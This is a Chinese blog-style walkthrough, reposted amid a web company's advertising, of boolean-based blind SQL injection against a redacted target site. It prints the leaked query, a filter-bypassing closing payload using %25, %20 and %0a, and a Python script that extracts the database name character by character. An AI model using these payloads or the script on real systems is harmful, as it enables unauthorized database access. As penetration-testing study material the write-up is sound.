十年网站开发经验 + 多家企业客户 + 靠谱的建站团队
量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决
今天就跟大家聊聊有关如何进行布尔型盲注的PY交易分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
成都创新互联公司主营奉贤网站建设的网络公司,主营网站建设方案,App定制开发,奉贤h5小程序开发搭建,奉贤网站营销推广欢迎奉贤等地区企业咨询
经过上一篇的良好反馈,我正好在项目中发现了这个布尔型漏洞,就编写了本篇文章,主体格式一样,但内容针对不同,下次看看在弄个什么的PY交易好,让我再想想。
在这次的测试过程中发现了一个注入点,通过测试发现返回包内包含了sql语句,确认可以注入,开始了这次的注入尝试。
首先我们可以确认这是一个GET型数据调用,本以为是简单的报错注入,应该可以直接利用sqlmap进行漏洞的利用,但现实狠狠的给了我一个耳光。sqlmap根本法利用这个漏洞,但返回的数据包中实打实出现我数据库语句,所以我把返回的数据库语句拿出来,开始了一点点的构造进程。
复制出来的数据库语句:
SELECT count(0) FROM customer c WHERE c.dealership_id = ? AND c.active = true AND (c.full_name LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub1 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub2 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%')
经过实验,发现报错内容不同,可说明与参数确实可以影响数据库语句。但返回的内容需要进行闭合而且返回内容不可以利用,所以可以排除报错等类型注入形式,可以探测的注入类型就仅剩下两种了:时间型盲注,布尔型盲注直接在目标后加入测试语句。
构造数据库语句:
%'){测试语句}AND(c. full_name like '%test
返回成功,实现语句闭合(此外利用了数据库模糊查询like %%),在测试过种发现存在过滤,单独%无法通过,空格无法通过,系统会返回404,针对之前爆出的数据库语句,利用%25和%20绕过对对单独%和空格的过滤构造出以上的数据库语句完成语句的闭合,成功返回200,确认可以返回正常数据包,并可以根据数据库语句的正确来进行布尔型盲注测试。
接下来确认测试语句
27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test
按位截取的形式进行匹配,确认数据库名称
利用python的数据包发送来批量测试目标内容
和时间型盲注不同,布尔型盲注要根据返回数据包的不同来确认问题
%0a(ascii(substr(database(),{1},1))={0})%0a
利用find函数来查找返回的数据特征,判断是否成功得到注入数据
# coding:utf-8 import requests import datetime import time headers = { 头信息,自己添加 } chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789@_.' database = '' for j in range(1,11): for i in range(49,125): Url = 'https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxx/find?pageNo=1&pageSize=20&searchWord=1%25%27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test' UrlFormat = Url.format(i,j) #format()函数使用 r = requests.get(UrlFormat,headers=headers) d = r.content.find("Test") #利用find函数来查找返回的数据特征,判断是否成功得到注入数据 if d != -1: print(i) print chr(i) database += chr(i) print database break else: pass
对于代码的未来,有如下的想法
1.加入数据包直接调用的功能
2.针对0值永真的修改
3.进行线程上的优化
4.编写GET方法的代码
5.进行整体代码的逻辑重构(这个是吹NB)
看完上述内容,你们对如何进行布尔型盲注的PY交易分析有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注创新互联行业资讯频道,感谢大家的支持。